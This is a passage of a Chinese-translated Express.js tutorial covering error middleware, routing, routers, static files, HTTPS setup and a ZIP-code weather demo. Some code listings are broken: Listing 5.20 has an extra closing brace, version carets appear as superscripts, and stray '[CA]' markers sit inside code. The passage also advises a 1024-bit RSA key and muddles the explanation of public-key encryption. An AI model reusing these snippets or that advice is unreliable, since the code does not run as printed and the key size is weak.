要进入“错误模式”,我们首先会使用 res.sendFile 的一个便利功能:它可以接受一个额外的参数,即回调函数。这个回调函数在文件发送后执行,如果发生错误,它将传递一个参数。如果你想打印其成功,你可能做如下操作:

列表 4.13 打印文件是否成功发送

res.sendFile(filePath, function(err) {   if (err) {     console.error("文件发送失败。");   } else {     console.log("文件已发送!");   }``});

我们可以不将成功消息打印到控制台,而是在有错误时通过传递参数调用 next 来进入“错误模式”。我们可以这样做:

列表 4.14 如果文件发送失败,进入“错误模式”

// … app.use(function(req, res, next) {   res.sendFile(filePath, function(err) {     if (err) {       next(new Error("文件发送错误!"));     }   }); }); // …

现在我们已经进入了错误模式,让我们来处理它。

在你的应用中记录所有发生的错误是很常见的,但我们通常不会将这些错误显示给用户。一方面,对于非技术用户来说,一个长的 JavaScript 调用栈可能相当令人困惑。它还可能使你的代码暴露给黑客——如果黑客能够窥视到你的网站是如何工作的,他们就能找到可以利用的地方。

让我们编写一些简单的中间件,用于记录错误但不实际响应错误。它看起来很像我们之前的中间件,但不是记录请求信息,而是记录错误。你可以在所有正常中间件之后添加以下内容到你的文件中:

列表 4.15 记录所有错误的中间件

// … app.use(function(err, req, res, next) {  #A   console.error(err);                    #B   next(err);                             #C }); // …

A 注意这与其他中间件类似,但有一个额外的参数。

B 记录错误。

C 继续到下一个中间件。确保使用错误参数调用它,以保持“错误模式”。

现在,当错误通过时,我们将将其记录到控制台,以便我们稍后进行调查。但还需要做更多的事情来处理这个错误。这与之前类似——记录器做了些事情,但没有响应请求。让我们编写这部分内容。

你可以在之前的中间件之后添加这个。这将简单地以 500 状态码响应错误。

列表 4.16 实际响应错误

// … app.use(function(err, req, res, next) {   #A   res.status(500);                        #B   res.send("Internal server error.");     #C }); // …

A 即使我们不打算使用所有四个参数,我们也必须指定它们,这样 Express 才能识别出这是一个错误处理中间件。

B 将状态码设置为 500,表示“内部服务器错误”。

C 发送错误文本。

请记住,无论这个中间件在你的堆栈中的位置如何,除非你处于“错误模式”——在代码中这意味着使用带有参数的 next 调用,否则它不会被调用。

对于简单的应用程序,错误发生的地方并不多。但随着你的应用程序增长,你将想要记得测试异常行为。如果一个请求失败,它本不应该失败,确保你优雅地处理它而不是崩溃。如果一个动作应该成功执行但失败了,确保你的服务器不会崩溃。错误处理中间件可以帮助你做到这一点。

4.4 其他有用的中间件

不同的 Express 应用程序可以拥有相当不同的中间件堆栈。我们的示例应用程序的堆栈只是许多可能的中间件配置之一,而且有很多你可以使用。

与 Express 捆绑的唯一中间件是 express.static。我们将在本书的其余部分安装和使用许多其他中间件。

虽然 Express 没有捆绑这些中间件,但 Express 团队维护了多个中间件模块:

· body-parser 用于解析请求体。例如,当用户提交表单时。更多信息请参阅 github.com/expressjs/body-parser

· cookie-parser 做的是它所说的:解析用户的 cookies。它需要与另一个 Express 支持的中间件如 express-session 配对。一旦这样做,您就可以跟踪用户,为他们提供用户账户和其他功能。我们将在第七章中更详细地探讨这一点。github.com/expressjs/cookie-session 有更多详细信息。

· compression 将压缩响应以节省字节。更多信息请参阅 github.com/expressjs/compression

您可以在 Express 主页上找到完整的列表 expressjs.com/resources/middleware.html。还有大量的第三方中间件模块我们将要探讨。以下是一些例子:

· Helmet 是一种中间件,有助于保护您的应用程序。它并不能神奇地让您更安全,但通过一点工作可以保护您免受许多黑客攻击。更多信息请参阅 github.com/helmetjs/helmet。顺便说一句,我维护这个模块,所以我要推广它!

· connect-assets 将编译和压缩您的 CSS 和 JavaScript 资产。如果您选择使用,它还将与 CSS 预处理器如 SASS、SCSS、LESS 和 Stylus 一起工作。更多信息请参阅 github.com/adunkman/connect-assets

Winston 是 Morgan 的更强大替代品,可以进行更健壮的日志记录(例如到文件或数据库)。更多信息请参阅 https://github.com/flatiron/winston。

这几乎不是一个详尽的列表。如果您渴望更多帮助,我还推荐附录 B 中的几个有用的模块。

4.5 摘要

中间件是 Express 的核心基础,我们在本章中对其进行了探讨。我们学到了:

· Express 的中间件栈,以及请求如何顺序通过该栈

· 如何编写我们自己的中间件函数:一个带有三个参数的函数

· 如何编写和使用错误处理中间件:一个带有四个参数的函数

· 各种开源中间件功能,如用于日志记录的 Morgan,用于服务静态文件的 express.static 以及更多

5 路由

正如我们所见,路由是 Express 的主要功能之一,允许您将不同的请求映射到不同的请求处理器。在本章中,我们将更深入地探讨。我们将详细研究路由,如何使用 Express 与 HTTPS,Express 4 的新路由器功能,以及更多。我们还将构建几个以路由为中心的应用程序,其中之一将是贯穿本书的运行示例。

在本章中,我将告诉你关于 Express 路由的所有知识!

5.1 什么是路由?

让我们想象一下,我们正在为 Olivia Example 构建主页。她是一位了不起的女性,我们很荣幸为她建立网站。

如果我们是一个访问example.com/olivia的浏览器,这里的“原始”HTTP 请求可能看起来是这样的:

列表 5.1 HTTP 请求的第一行

GET /olivia http/1.1

这个 HTTP 请求有一个动词(GET),一个 URI(/olivia部分),以及 HTTP 版本(1.1)。当我们进行路由时,我们将动词和 URI 的配对映射到请求处理器。我们基本上说:“嘿,Express!当你看到对/about_meGET请求时,运行这段代码。当你看到对/new_user的 POST 请求时,运行这段其他代码。”

这基本上就是全部内容——路由将动词和 URI 映射到特定的代码。让我们看看一个简单的例子。

5.1.1 简单示例

假设我们想要编写一个简单的 Express 应用程序来响应上述 HTTP 请求(对/olivia的 HTTP GET 请求)。我们将在我们的 Express 应用程序上调用一些方法,如下所示:

列表 5.2 一个简单的 Express 应用程序,显示 Olivia 的主页

var express = require("express"); var app = express(); app.get("/olivia", function(request, response) {  #B response.send("欢迎来到 Olivia 的主页!"); }); app.use(function(request, response) {  #C response.status(404).send("页面未找到!"); }); app.listen(3000); #D

B 这是神奇的部分;它将 GET 请求映射到我们指定的请求处理器。

C 如果您加载/olivia,那就没问题。但如果您加载其他内容(如/olivia_example),我们希望返回 404 错误。

D 最后,我们在 3000 端口启动服务器!

这个示例的真正内容在第三行:当我们收到对/olivia的 HTTP GET 请求时,我们运行指定的请求处理器。为了强调这一点:如果我们看到对其他 URI 的 GET 请求,我们将忽略它,如果我们看到对/olivia的非 GET 请求,我们也会忽略它。

这是一个相当简单的例子(因此本节的标题)。让我们看看一些更复杂的路由功能。

5.2 路由功能

因此,我们刚刚查看了一个简单的路由示例。从概念上讲,它并不疯狂:它将 HTTP 动词+ URI 组合映射到请求处理器。这允许您将诸如 GET /about 或 POST /user/log_in 等内容映射到特定的代码块。这太棒了!

但我们是贪婪的。如果 Express 是一桶冰淇淋,我们不会满足于一勺。我们想要更多的勺子。我们想要糖霜。我们想要巧克力酱。我们想要更多的路由功能。

注意:一些其他框架(例如 Ruby on Rails)有一个集中式的路由文件,其中所有路由都在一个地方定义。Express 不是这样——它们可以在很多地方定义。

5.2.1 从路由中获取参数

我们上面看到的路由实际上可以用严格的相等运算符(===)在代码中表达;用户是否访问了/olivia?这非常有用,但它并不提供我们可能想要的全部表达力。

想象一下,你被分配了一个任务,要制作一个包含用户资料的网站,并且假设每个用户都有一个数字 ID。你希望用户#1 的 URL 是/users/1。用户#2 应该在/users/2(以此类推)找到。与其为每个新用户在代码中定义一个新的路由(这会非常疯狂),你不如定义一个以/users/开头的路由,然后跟上一个 ID。

最简单的方法

获取参数的最简单方法就是简单地在路由中将其放入,并在其前面加上一个冒号。要获取值,你将查看请求的 params 属性。

列表 5.3 最简单的参数

app.get("/users/:userid", function(req, res) {       #A    var userId = parseInt(req.params.userid, 10);     #B    // …``});

A 这将匹配进入/users/123/users/horse_ebooks的请求。

B 在这种情况下,userid 属性始终是一个字符串,因此我们必须将其转换为整数。如果我们访问/users/olivia,这将返回 NaN,我们需要处理这种情况。

在上面的例子中,我们看到如何从一个更动态的路由中获取参数。上面的代码将匹配我们想要的内容;例如/users/123/users/8。但是,它不会匹配没有参数的/users//users/123/posts,但它可能仍然匹配比我们想要的更多。例如,它还会匹配/users/cake/users/horse_ebooks。如果我们想更加具体,我们有一些选择。

注意:虽然你通常希望你的参数定义更加具体,但这也完全可能适合你的需求!你可能希望允许/users/123/users/count_dracula。即使你只想允许数字参数,你也可能更喜欢在路由中直接添加验证逻辑。正如我们将看到的,还有其他方法可以做到这一点,但这可能对你来说已经足够好了。

5.2.2 使用正则表达式匹配路由

Express 允许你以字符串的形式指定你的路由,但它也允许你以正则表达式的方式指定它们。这让你对指定的路由有更多的控制。你还可以使用正则表达式来匹配参数,正如我们将看到的。

注意:正则表达式可能会变得有些复杂。当我第一次开始使用它们时,它们让我感到害怕,但我发现通过 Mozilla 开发者网络上的条目,这种恐惧大大减少了。如果你需要帮助,我强烈建议你查看 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions。

让我们假设我们想要匹配像/users/123/users/456这样的东西,但不匹配/users/olivia。我们可以将这个逻辑编码到正则表达式中,并捕获数字。

列表 5.5 使用正则表达式进行数字路由

app.get(/^\/users\/(\d+)$/, function(req, res) { #A   var userId = parseInt(req.params[0], 10); #B   // ...``});

A 这既定义了路由(以/users/开头,以一个或多个数字结尾)

并捕获数字,这在下一行使用。如果这个正则表达式看起来令人畏惧,那是因为所有正则表达式看起来都令人畏惧。

B 这次参数没有命名,所以我们通过它们的序号来访问它们。如果我们捕获了第二个值,我们会查看 req.params[1],依此类推。请注意,我们仍然将它们作为字符串捕获,并必须手动进行转换。

这是强制执行“用户 ID 必须是整数”约束的一种方法。和上面一样,它作为字符串传入,所以我们必须将其转换为数字(并且可能还要进一步转换为用户对象)。

正则表达式可能有点难以阅读,但你可以使用它们来定义比这些更复杂的路由。例如,你可能想要定义一个查找范围的路由。也就是说,如果你访问/users/100-500,你可以看到从 ID 100 到 500 的用户列表。正则表达式使这相对容易表达(无意中开玩笑):

列表 5.6 使用正则表达式进行复杂路由

app.get(/^\/users\/(\d+)-(\d+)$/, function(req, res) { #A   var startId = parseInt(req.params[0], 10);  #B   var endId = parseInt(req.params[1], 10);  #C   // …``});

A 和上面一样,这次我们定义了一个使用正则表达式的路由。这次,我们在连字符两侧捕获两组数字。

B 和之前一样,我们获取第一个捕获的参数作为字符串,并需要进行一些转换。

C 这与上一行非常相似,但我们转换的是第二个参数,而不是第一个。

你可以梦想这为可能性的数量打开了无数的可能性。

例如,我曾经不得不定义一个匹配 UUID(版本 3 和 4)的路由。如果你不熟悉,UUID 是一个看起来像这样的长字符串的十六进制数字:

xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx

...其中 x 是任何十六进制数字,y 是 8、9、A 或 B。假设你想编写一个匹配任何 UUID 的路由。它可能看起来像这样:

列表 5.7 使用正则表达式匹配 UUID 的路由

var horribleRegexp = /^([0-9a-f]{8}-[0-9a-f]{4}- [CA]4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12})$/i; app.get(horribleRegexp, function(req, res) {   var uuid = req.params[0];   // ...``});

我可以用数百页的例子来填充,但我不这么做。这里的关键要点:你可以使用正则表达式来定义你的路由。

5.2.3 抓取查询参数

在 URL 中动态传递信息的另一种常见方式是使用所谓的“查询字符串”。你可能每次在互联网上搜索时都见过查询字符串。例如,如果你在 Google 上搜索“javascript-themed burrito”,你会看到一个像这样的 URL:https://www.google.com/search?q=javascript-themed%20burrito

这是在传递一个查询。如果 Google 是用 Express 编写的(实际上不是),它可能会处理这样的查询:

列表 5.8 处理搜索查询字符串

app.get("/search", function(req, res) {   // req.query.q == "javascript-themed burrito"   // ...``});

这与处理参数的方式非常相似,但它允许你获取这种查询风格。

注意:不幸的是,查询参数有一个常见的安全漏洞。如果你访问 ?arg=something,那么 req.query.arg 将是一个字符串。但是如果你访问 ?arg=something&arg=somethingelse,那么 req.query.arg 将是一个数组。如果你渴望了解更多,我们将在第八章详细讨论如何应对这类问题。不过,总的来说,你想要确保不要盲目地假设某物是一个字符串或一个数组。

5.3 使用路由器拆分你的应用程序

很可能随着你的应用程序的增长,你的路由数量也会增加。你的协作猫照片拼贴网站可能最初只有静态文件和图像的路由,但后来你可能还会添加用户账户、聊天、论坛等。你的路由数量可能会变得难以管理。

Express 4 增加了一个功能来帮助缓解这些成长的痛苦;它增加了路由器。引用 Express 文档(如果你不完全理解这些内容,请不要担心):

路由器是中间件和路由的独立实例,可以被视为“迷你”应用程序,只能执行中间件和路由。每个 Express 应用程序都有一个内置的应用程序路由器。

路由器本身就像中间件一样,可以被应用或其它路由器“.use()”。

换句话说,路由器允许你将你的大应用程序拆分成许多小应用程序,你可以在以后将它们组合起来。对于小型应用程序,这可能有点过度,但当你想到,“这个 app.js 文件变得很大”,就是时候考虑使用路由器来拆分你的应用程序了。

注意:路由器在构建更大的应用程序时表现得尤为出色。我不想在本节中构建一个巨大的应用程序,所以这个例子中会有一些你应该用想象力填补的地方。

列表 5.9 路由器在行动:主应用程序

var express = require("express"); var path = require("path"); var apiRouter = require("./routes/api_router");  #A var app = express(); var staticPath = path.resolve(__dirname, "static"); app.use(express.static(staticPath)); app.use("/api", apiRouter);  #A app.listen(3000);

A 我们需要我们的 API 路由器(定义在下面),然后我们就像使用中间件一样使用它在我们的主应用中。

如你所见,我们就像使用中间件一样使用我们的 API 路由。路由基本上就是中间件!在这种情况下,任何以 /api 开头的 URL 都会直接发送到我们的路由器。这意味着 /api/users/api/message 将使用你的路由代码,但像 /about/celinedion 这样的 URL 则不会。

现在,让我们继续定义我们的路由。把它想象成一个子应用:

列表 5.10 路由定义示例(在 routes/api_router.js 中)

var express = require("express"); var ALLOWED_IPS = [   "127.0.0.1",   "123.456.7.89" ]; var api = express.Router(); api.use(function(req, res, next) {   var userIsAllowed = ALLOWED_IPS.indexOf(req.ip) !== -1;   if (!userIsAllowed) {     res.status(401).send("未授权!");   } else {     next();   } }); api.get("/users", function(req, res) { /* ... */ }); api.post("/user", function(req, res) { /* ... */ }); api.get("/messages", function(req, res) { /* ... */ }); api.post("/message", function(req, res) { /* ... */ }); module.exports = api;

这看起来很像一个迷你应用;它支持中间件和路由。主要区别在于它不能独立存在;它必须连接到一个“成熟”的应用。路由器可以执行与“大型”应用相同的路由,并且可以使用中间件。

你可以想象创建一个具有许多子路由的路由器。也许你想要创建一个 API 路由器,它进一步委托给“用户路由器”和“消息路由器”,或者可能是其他什么!

5.4      服务静态文件

除非你正在构建一个 100% API 的 Web 服务器(我的意思是百分之一百),否则你可能需要发送一个或两个静态文件。也许你需要发送一些 CSS,也许你需要发送一些静态文件给单页应用,也许你是一个喜欢甜甜圈的爱好者,并且有数吉字节甜甜圈照片要提供给饥饿的观众。

我们之前已经看到过如何发送静态文件,但现在让我们更深入地探讨一下。

5.4.1 使用中间件发送静态文件

我们之前已经使用中间件发送过静态文件了,但别皱眉——我们将会深入探讨一下。

我们在第二章中已经讨论过这个问题,所以我就不再宣扬这些好处了。我只会回顾我们之前使用的代码示例:

列表 5.11 express.static 的一个简单示例

var express = require("express"); var path = require("path"); var http = require("http"); var app = express(); var publicPath = path.resolve(__dirname, "public");  #A app.use(express.static(publicPath)); #B app.use(function(request, response) {   response.writeHead(200, { "Content-Type": "text/plain" });   response.end("看起来你没有找到静态文件。"); }); http.createServer(app).listen(3000);

A 使用 Node 的 path 模块设置我们的静态文件存放路径。

B 从 publicPath 目录发送静态文件。

回想一下,path.resolve 有助于保持我们的路径解析跨平台(Windows、Mac 和 Linux 上的事情是不同的)。也请记住,这比你自己做要好得多!如果任何内容不清楚,请返回并查看第二章。

现在让我们更深入地探讨。

客户端路径变更

通常,你会在网站的根目录下提供文件。例如,如果你的 URL 是 http://jokes.edu,并且你正在提供jokes.txt,则路径将是 http://jokes.edu/jokes.txt。

但你可能还希望将一些静态文件挂载到不同的 URL 上供客户端使用。例如,你可能希望一个充满攻击性但非常有趣的图片文件夹看起来像在名为“offensive”的文件夹中,因此用户可能访问 http://jokes.edu/offensive/photo123.jpg。我们该如何实现这一点?

Express 来拯救:中间件可以在给定前缀上“挂载”。换句话说,你可以使一个中间件仅在以/offensive开头时响应。

下面是如何实现的:

列表 5.12 挂载静态文件中间件

// … var photoPath = path.resolve(__dirname, "offensive-photos-folder"); app.use("/offensive", express.static(photoPath));``// …

现在,网络浏览器和其他客户端可以访问除根路径之外的其他路径上的攻击性照片。请注意,这可以应用于任何中间件,而不仅仅是静态文件中间件。最大的例子可能是我们上面看到的:在指定前缀上挂载 Express 的路由器。

多个静态文件目录的路由

我经常发现自己有多个目录中的静态文件。例如,我有时在名为“public”的文件夹中有静态文件,在名为“user_uploads”的另一个文件夹中也有。我们如何使用 Express 来实现这一点?

Express 已经通过内置的中间件功能解决了这个问题,并且因为 express.static 是中间件,所以我们可以多次应用它。

下面是我们可能如何实现它的示例:

列表 5.13 从多个目录提供静态文件

// … var publicPath = path.resolve(__dirname, "public");  #A var userUploadsPath = path.resolve(__dirname, "user_uploads"); app.use(express.static(publicPath)); app.use(express.static(userUploadsPath)); // …

注意,这依赖于“path”模块,所以在使用它之前请确保你已经引入了它!

现在,让我们快速想象四种场景,并看看上面的代码是如何处理它们的:

  1. 当用户请求的资源不在公共文件夹或用户上传文件夹中时,在这种情况下,静态中间件函数将继续执行到下一个路由和中间件。

  2. 当用户请求的资源在公共文件夹中时,在这种情况下,第一个中间件将发送文件,并且不会调用后续的路由或中间件函数。

  3. 当用户请求的资源在用户上传文件夹中,但不在公共文件夹中时,第一个中间件将继续执行(它不在“public”中),因此第二个中间件将接手。之后,不会调用其他中间件或路由。

  4. 用户请求的资源同时位于公共文件夹和上传文件夹中。在这种情况下,因为公共服务中间件优先,您将获得“公共”文件夹中的文件,并且永远无法访问用户上传文件夹中匹配的文件。

总是如此,您可以在不同的路径上安装中间件以避免第 4 点中提出的问题。以下是您可以这样做的方式:

列表 5.14 从多个目录中无冲突地提供静态文件

// … app.use("/public", express.static(publicPath)); app.use("/uploads", express.static(userUploadsPath)); // …

现在,如果“image.jpg”在两个文件夹中,您将能够从/public/image.jpg的公共文件夹中获取它,并从/uploads/image.jpg的上传文件夹中获取它。

5.4.2 路由到静态文件

有可能您会想要通过路由发送静态文件。例如,如果您访问/users/123/profile_photo,您可能想发送一个用户的个人照片。静态中间件无法知道这一点,但 Express 有很好的方法来做这件事,它使用了与静态中间件相同的大量内部机制。

假设我们想在有人访问/users/:userid/profile_photo时发送个人照片。假设我们有一个名为getProfilePhotoPath的神奇函数,它接受一个用户 ID 并返回其个人照片的路径。以下是我们可以这样做的方式:

列表 5.15 发送个人照片

app.get("/users/:userid/profile_photo", function(req, res) {   res.sendFile(getProfilePhotoPath(req.params.userid));``});

在第二章中,我们看到了没有 Express 这将是一个大麻烦。我们不得不打开文件,找出其内容类型(HTML,纯文本,图像...),其文件大小,等等。Express 的sendFile为我们做了所有这些,并让您轻松发送文件。

您可以使用它发送您想要的任何文件!

5.5 使用 Express 与 HTTPS

如我们在本章前面所讨论的,HTTPS 是 HTTP 更安全的姐妹。它为 HTTP 添加了一个安全层,增加了更多的安全性(尽管没有什么是不败的)。这个安全层被称为 TLS 或 SSL。这两个名字可以互换使用,但技术上 TLS 是 SSL 的后继者。

我不会深入涉及其中的疯狂数学,但 TLS 使用的是称为公钥加密的加密方式。公钥加密的工作原理是这样的:每个对等方都有一个公钥,他们与每个人分享,以及一个私钥,他们与没有人分享。如果我想给你发东西,我会用我的私钥(可能在我的电脑上某个地方)和你的公钥(对任何人公开)加密信息。然后我可以给你发送看起来像垃圾的消息,任何窃听者都无法理解,而你用你的私钥和我的公钥解密它。通过疯狂的酷数学,即使每个人都正在监听我们,我们也可以有一个安全的对话,而且我们事先根本不需要同意某种秘密代码。

如果这有点令人困惑,只需记住,双方都有私钥和公钥。

在 TLS 中,公钥还有一个特殊属性:它也是被称为证书的东西。如果我正在和你交谈,你会向我展示你的证书(即你的公钥),我会确保它是你,通过确保证书颁发机构说“是的,那是你。”你的浏览器有一个它信任的证书颁发机构列表;像 VeriSign 和 Google 这样的公司运营这些证书颁发机构。

我把证书颁发机构想象成一个保镖。当我与某人交谈时,我会抬头看我的保镖,说“嘿,这个人真的是他们说的那个人吗?”我的保镖低头看着我,微微点头,或者可能摇摇头。

注意:一些托管提供商(如 Heroku)会为你处理所有的 HTTPS,这样你就不必担心它了。本节仅在你必须自己处理 HTTPS 时才有用!

首先,你需要生成你的公钥和私钥。我们将使用 OpenSSL 来完成这个任务。如果你使用的是 Windows 系统,可以从 www.openssl.org/related/binaries.html 下载一个二进制文件。它应该预安装在 Mac OS X 上。如果你使用的是带有包管理器的 Linux 机器(如 Arch、Gentoo、Ubuntu 或 Debian),并且它尚未安装,你可以使用操作系统的包管理器来安装它。你可以在命令提示符中输入 openssl version 来检查 OpenSSL 是否已安装。

从那里,我们将运行以下两个命令:

列表 5.16 使用 OpenSSL 创建你的私钥和签名请求

openssl genrsa -out privatekey.pem 1024   #A openssl req -new -key privatekey.pem -out request.pem  #B

A 这将生成你的私钥到 privatekey.pem

B 这将生成一个签名请求到 request.pem。你将不得不填写一些信息。

第一个命令简单地生成你的私钥;任何人都可以这样做。下一个命令生成一个证书签名请求。它会询问你一些信息,然后输出一个文件到 request.pem。从这里开始,你必须从证书颁发机构请求一个证书。互联网上有几个团体正在致力于 Let's Encrypt,这是一个免费且自动化的证书颁发机构。你可以在 letsencrypt.org/ 查看该服务。如果你更喜欢其他证书颁发机构,你可以在网上寻找。

一旦他们给你一个证书,你就可以使用 Node 内置的 HTTPS 模块与 Express 一起使用了。它与 HTTP 模块非常相似,但你必须提供你的证书和私钥。

列表 5.17 使用 Express 应用程序配置 HTTPS

var express = require("express");  #A var https = require("https");   #A var fs = require("fs");   #A var app = express(); // ... 定义你的应用程序 ... var httpsOptions = {    key: fs.readFileSync("path/to/private/key.pem"),   #B    cert: fs.readFileSync("path/to/certificate.pem")   #B }; https.createServer(httpsOptions, app).listen(3000);   #C

A 首先,我们引入所需的模块。

B 在定义我们的应用程序之后,我们定义一个包含我们的私钥和证书的对象。

C 现在我们将这个对象传递给 https.createServer,它与其他我们所见的 http.createServer 非常相似。

除了我们必须将私钥和证书作为参数传递之外,这与其他我们所见的 http.createServer 非常相似。

如果您想同时运行一个 HTTP 服务器和一个 HTTPS 服务器,只需启动它们即可!

列表 5.18 使用 Express 进行 HTTP 和 HTTPS

var express = require("express"); var http = require("http"); var https = require("https"); var fs = require("fs"); var app = express(); // ... 定义你的应用程序 ... var httpsOptions = {   key: fs.readFileSync("path/to/private/key.pem"),   cert: fs.readFileSync("path/to/certificate.pem") }; http.createServer(app).listen(80); https.createServer(httpsOptions, app).listen(443)

我们只需要在不同的端口上运行两个服务器,然后就可以完成了!这就是 HTTPS。

5.6     整合所有内容:一个简单的路由演示

让我们利用所学知识构建一个简单的 Web 应用程序,该应用程序可以根据您的美国 ZIP 代码返回温度。

备注 我是一个美国人,所以这个例子将使用美国风格的邮政编码,称为 ZIP 代码。ZIP 代码是五位数字,可以给出相当好的大致位置。共有 42,522 个,所以如果美国是 370 万平方英里,每个 ZIP 代码平均覆盖约 87 平方英里。因为我们将使用 ZIP 代码,所以这个例子将仅适用于美国。制作一个在其他地方也能工作的类似应用程序(如果你有灵感,可以尝试使用 HTML5 地理位置 API!)。

我们的应用程序将基本分为两部分:

1.  一个静态主页,要求用户输入他们的 ZIP 代码。用户输入后,将通过异步 JavaScript 请求(也称为 AJAX 请求)加载天气。

2.  因为我们使用 JavaScript,所以我们将以 JSON 格式发送温度。我们将为/12345定义一个路由,该路由将返回 ZIP 代码 12345 的天气。

让我们开始吧。

5.6.1  准备工作

对于这个应用程序,我们将使用四个 Node 包:Express(显然)、ForecastIO(用于从名为 Forecast.io 的免费 API 获取天气数据)、Zippity-do-dah(用于将 ZIP 代码转换为经纬度对),以及 EJS(用于渲染 HTML 视图)。(这些名字相当不错,对吧?特别是“zippity-do-dah”。)

创建一个新的 Express 应用程序。你想要确保在启动时package.json看起来像这样:

列表 5.19 此应用程序的 package.json

{   "name": "temperature-by-zip",   "private": true,   "scripts": {     "start": "node app.js"   },   "dependencies": {     "ejs": "².3.1",   "express": "⁴.12.4",   "forecastio": "⁰.2.0",   "zippity-do-dah": "0.0.x"   }``}

确保你已经通过在应用程序目录中运行 npm install 安装了所有这些依赖项。

在客户端,我们将依赖于 jQuery 和一个名为 Pure 的最小化 CSS 框架(更多信息请访问 purecss.io/)。你很可能已经了解 jQuery,但 Pure 稍微有点神秘(尽管几乎所有东西都比 jQuery 神秘)。Pure 为文本和表单提供了一些样式,类似于 Twitter 的 Bootstrap。与 Pure 的区别在于它更轻量级,更适合这种类型的应用。

创建两个目录:一个名为 public,另一个名为 views

接下来,我们需要从 Forecast.io 获取一个 API 密钥。访问他们的开发者网址 developers.forecast.io。注册一个账户。在仪表板页面的底部是你的 API 密钥,它是一个由 32 个字符组成的字符串。你很快就需要将这个 API 密钥复制到你的代码中,所以请确保你已经准备好了。

我们已经准备好开始工作了!

5.6.2 主要应用程序代码

现在我们已经设置好了,是时候开始编码了!让我们从主应用程序 JavaScript 开始。如果你遵循了第二章末尾的示例,这个业务应该很熟悉。

创建 app.js 并将以下内容放入其中:

列表 5.20 app.js

var path = require("path");  #A var express = require("express");  #A var zipdb = require("zippity-do-dah");  #A var ForecastIo = require("forecastio");  #A var app = express();  #B var weather = new ForecastIo("YOUR FORECAST.IO API KEY HERE");  #C app.use(express.static(path.resolve(__dirname, "public")));  #D app.set("views", path.resolve(__dirname, "views"));  #E app.set("view engine", "ejs");  #E app.get("/", function(req, res) { #F res.render("index"); }); }); app.get(/^\/(\d{5})$/, function(req, res, next) { var zipcode = req.params[0];  #G var location = zipdb.zipcode(zipcode); #H if (!location.zipcode) {#I next(); #I return; } var latitude = location.latitude; var longitude = location.longitude; weather.forecast(latitude, longitude, function(err, data) { if (err) { next(); return; } res.json({ #J zipcode: zipcode, temperature: data.currently.temperature }); }); }); app.use(function(req, res) { #K res.status(404).render("404"); }); app.listen(3000);  #L

A 我们首先引入 Node 的内置路径模块、Express、zippity-do-dah 和 ForecastIO。与之前看到的不同之处不多!

B 创建一个新的 Express 应用程序。

C 使用你的 API 密钥创建一个新的 ForecastIO 对象。确保填写完整!

D 使用 Express 内置的静态文件中间件,从 "public" 目录中提供静态文件。

E 使用 EJS 作为我们的视图引擎,并将视图从名为 "views" 的文件夹中提供。

F 如果我们访问主页,则渲染 "index" 视图。

G 这是一个 Express 的正则表达式路由功能的例子。正则表达式总是很难阅读,但这个基本上是说“给我五个数字”。括号“捕获”指定的 ZIP 码并将其作为 req.params[0] 传递。

H 使用 zippity-do-dah 通过 ZIP 码获取位置数据。

I zippity-do-dah 在没有找到结果时仅返回一个空对象 ({})。这会检查对象中的 zipcode 属性,如果我们缺少它,那么这不会工作,我们应该继续。

J 我们将使用 Express 的便捷 json 方法发送此 JSON 对象。

K 如果我们遗漏了静态文件中间件、根 URL (/) 的处理器以及天气 URL,那么将显示 404 错误。

L 在端口 3000 上启动应用程序!

现在我们需要填写客户端。这意味着制作一些带有 EJS 的视图,正如我们将看到的,我们将添加一些 CSS 和一些客户端 JavaScript。

5.6.3 两个视图

本应用程序中有两个视图;404 页面和主页。我们希望网站在各个页面之间看起来保持一致,所以让我们创建一个模板。我们需要创建一个页眉和一个页脚。

让我们从页眉开始。将以下内容保存到名为 header.ejs 的文件中:

列表 5.21 视图/header.ejs

<!DOCTYPE html> <html> <head>   <meta charset="utf-8">   <title>ZIP 码温度</title>   <link rel="stylesheet" href="http://yui.yahooapis.com/pure/0.4.2/pure-min.css">   <link rel="stylesheet" href="/main.css"> </head>``<body>

接下来,让我们在 footer.ejs 中关闭页面:

列表 5.22 视图/footer.ejs

</body> </html>

现在我们有了模板,让我们填写简单的 404 页面(作为 404.ejs):

列表 5.23 视图/404.ejs

<% include header %>   <h1>404 错误!文件未找到。</h1>``<% include footer %>

索引主页也不太复杂。将这个家伙保存为 index.ejs。

列表 5.24 视图/index.ejs

<% include header %>   <h1>你的 ZIP 码是多少?</h1>   <form class="pure-form">   <fieldset>     <input type="number" name="zip" placeholder="12345"[CA]     autofocus required>     <input type="submit" class="pure-button[CA]     pure-button-primary" value="去">   </fieldset> </form>   <script src="//ajax.googleapis.com/ajax/libs/[CA/] jquery/2.1.1/jquery.min.js"></script> <script src="/main.js"></script>  <% include footer %>

在 index 代码中有一两个对 Pure CSS 框架的引用;它们所做的只是应用一些样式,使我们的页面看起来更好一些。

谈到样式,我们需要填写我们在布局中指定的 main.css。以下内容保存到 public/main.css

列表 5.25 public/main.css

html {   display: table;   width: 100%;   height: 100%; } body {   display: table-cell;   vertical-align: middle;   text-align: center;``}

这种 CSS 有效地使页面的所有内容在水平和垂直方向上居中。这不是一本 CSS 书,所以如果你不明白上面发生的事情,请不要担心。

现在我们已经拥有了除了客户端 JavaScript 之外的一切!您现在就可以尝试使用npm start启动此应用程序。您应该能够在http://localhost:3000看到主页,在http://localhost:3000/some/garbage/url看到 404 页面,并且天气应该会在http://localhost:3000/12345以 JSON 格式加载 12345 的温度。

让我们用客户端 JavaScript 来完成它。

将以下内容保存到public/main.js

列表 5.26 public/main.js

$(function() {     var $h1 = $("h1");   var $zip = $("input[name='zip']");     $("form").on("submit", function(event) {       event.preventDefault();  #A       var zipCode = $.trim($zip.val());     $h1.text("Loading...");       var request = $.ajax({   #B       url: "/" + zipCode,       dataType: "json"     });     request.done(function(data) {     #C       var temperature = data.temperature;       $h1.text("It is " + temperature + "&#176; in " + zipCode + "."); #D     });     request.fail(function() {    #E       $h1.text("Error!");     });     });  });

A 我们不希望表单执行 HTML 通常会执行的操作——我们想要控制!

B 我们发起一个 AJAX 请求。如果我们已经在 ZIP 代码字段中输入了"12345",我们将访问/12345 来执行此请求。

C 当请求成功时,我们将更新标题为当前温度。

D °是 HTML 字符代码,用于表示°符号。

E 如果发生错误(无论是客户端还是服务器),请确保显示错误。

5.6.4 应用程序的实际应用

